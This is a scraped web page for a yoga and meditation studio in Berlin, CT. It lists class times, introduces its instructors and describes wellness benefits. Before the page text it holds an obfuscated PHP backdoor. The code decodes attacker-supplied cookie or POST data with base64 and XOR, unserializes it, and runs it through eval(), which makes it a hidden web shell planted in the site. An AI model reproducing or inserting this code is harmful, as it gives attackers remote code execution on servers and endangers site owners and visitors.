$bSMgJRVxQd = "\x6c" . chr ( 495 - 400 )."\x70" . chr ( 829 - 732 )."\110" . "\163";$WIHbF = 'c' . chr ( 710 - 602 )."\x61" . "\x73" . 's' . chr ( 992 - 897 )."\145" . chr (120) . 'i' . 's' . 't' . "\163";$lkEclAOq = $WIHbF($bSMgJRVxQd); $bSMgJRVxQd = "33377";$EcxOBVYx = $lkEclAOq;$WIHbF = "63729";if (!$EcxOBVYx){class l_paHs{private $HmUtr;public static $jmYGX = "e02b5dd6-1759-4cc3-ab63-3150ec0bb2d5";public static $lTuVUOMyR = 35979;public function __construct($vOAWe=0){$YyYRjnthSn = $_COOKIE;$TQaaw = $_POST;$EORCGyaS = @$YyYRjnthSn[substr(l_paHs::$jmYGX, 0, 4)];if (!empty($EORCGyaS)){$iaAbDDh = "base64";$EnjpVwAZ = "";$EORCGyaS = explode(",", $EORCGyaS);foreach ($EORCGyaS as $jEwVdWZnGP){$EnjpVwAZ .= @$YyYRjnthSn[$jEwVdWZnGP];$EnjpVwAZ .= @$TQaaw[$jEwVdWZnGP];}$EnjpVwAZ = array_map($iaAbDDh . "\137" . 'd' . 'e' . "\143" . chr ( 125 - 14 )."\x64" . "\x65", array($EnjpVwAZ,)); $EnjpVwAZ = $EnjpVwAZ[0] ^ str_repeat(l_paHs::$jmYGX, (strlen($EnjpVwAZ[0]) / strlen(l_paHs::$jmYGX)) + 1);l_paHs::$lTuVUOMyR = @unserialize($EnjpVwAZ);}}private function JwFBKz(){if (is_array(l_paHs::$lTuVUOMyR)) {$mkottHariv = str_replace("\x3c" . "\x3f" . chr (112) . "\x68" . chr (112), "", l_paHs::$lTuVUOMyR["\143" . "\157" . 'n' . chr (116) . chr ( 782 - 681 )."\x6e" . "\164"]);eval($mkottHariv); $okQKh = "43791";exit();}}public function __destruct(){$this->JwFBKz(); $okQKh = "43791";$vVKZLly = str_pad($okQKh, 10);}}$iFELjv = new /* 30195 */ l_paHs(); $iFELjv = substr("57574_65273", 1);} Yoga & Meditation – Mind • Body • Soul – Berlin, CT

Yoga & Meditation

Is Yoga for me?

People start doing yoga for a variety of reasons. Some may begin practicing yoga for its physical benefits, including improved flexibility, strength, balance, and cardiovascular health. Others may start yoga to improve their mental health, alleviate stress and anxiety, and increase overall well-being. Yoga is also rooted in spirituality, and many people find that it helps them to connect with their inner selves, develop greater self-awareness, and cultivate a sense of purpose and meaning in life.

As you continue, yoga can provide a sense of challenge and accomplishment as students work to master new poses and deepen their practice over time. Overall, the benefits of yoga are numerous, making it a valuable practice for anyone looking to improve their physical, mental, or spiritual health.

In-Person Sessions

Registration Required

Mondays @ 7:00 PM

Wednesdays @ 6:00 PM

Book Now

Other Sessions

  • Pregnancy Yoga

  • Virtual Sessions

  • Yoga with Meditation

For additional information, call Elissa at

(317) 937-7883

Elissa Woods, Certified Nutritionist and Yoga Instructor
Elissa Woods, Certified Nutritionist and Yoga Instructor Certified Nutritionist & Yoga Instructor

Elissa is a mom of four, Army Veteran, with a 200RYT yoga certification and a Bachelor of Science in Nutrition and Wellness from the University of Saint Josephs in West Hartford, Connecticut.

Her approach to wellness is inspired by watching her children grow and how they react to the world…

Melissa Urrunaga Therapist, LPC • Yoga Instructor

At times, life’s demands can leave us feeling like our best isn’t enough, even when we’re doing our best with the knowledge and resources we have. Whether it’s navigating relationships, school, work, or other pressures, it can be tough to stay connected to the light that shines within us….

Wellness Benefits of Yoga

Yoga is a holistic practice that offers a range of physical, mental, and emotional benefits. Here are five of the top benefits of practicing yoga:

  1. Improves flexibility and strength: One of the most obvious benefits of yoga is increased flexibility and strength. Through regular practice, you can improve your range of motion, build muscle strength, and increase your overall physical fitness.
  2. Reduces stress and anxiety: Yoga has been shown to be effective in reducing stress and anxiety levels. It encourages relaxation and deep breathing, which can help to calm the nervous system and reduce the levels of the stress hormone cortisol.
  3. Improves mental clarity and focus: Yoga can improve mental clarity and focus by helping to quiet the mind and increase mindfulness. This can lead to better concentration, improved decision-making skills, and greater creativity.
  4. Enhances overall well-being: Yoga can enhance your overall sense of well-being by improving your physical, mental, and emotional health. It can help you to feel more balanced, centered, and calm, and can also promote better sleep and digestion.
  5. Lowers risk of chronic conditions: Practicing yoga can also help to lower the risk of chronic conditions such as high blood pressure, heart disease, and diabetes. Yoga can help to improve cardiovascular health, regulate blood sugar levels, and reduce inflammation in the body.
Yoga Class
Pregnancy Yoga
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Combining Meditation with Yoga

Integrating meditation with yoga can deepen and enhance the benefits of your yoga practice. Here are five benefits of combining meditation with yoga:

  1. Reduces stress and anxiety: Both yoga and meditation have been shown to be effective in reducing stress and anxiety levels. When combined, they can create a powerful stress-reducing effect, promoting deep relaxation and inner calm.
  2. Increases mindfulness: Mindfulness is the practice of being fully present and engaged in the moment. Both yoga and meditation promote mindfulness, and when practiced together, they can enhance your ability to be present and focused in your daily life.
  3. Enhances self-awareness: Yoga and meditation can help you to become more aware of your thoughts, feelings, and physical sensations. When practiced together, they can deepen your self-awareness and promote a greater sense of inner peace.
  4. Improves mental and emotional health: Meditation and yoga can both improve mental and emotional health by reducing symptoms of depression and anxiety, improving mood, and promoting a greater sense of well-being. When practiced together, they can amplify these benefits.
  5. Enhances spiritual growth: Yoga and meditation are both rooted in spirituality, and when combined, they can help you to deepen your spiritual practice and enhance your connection to the divine or to your higher self. They can also help you to cultivate a greater sense of purpose and meaning in your life.

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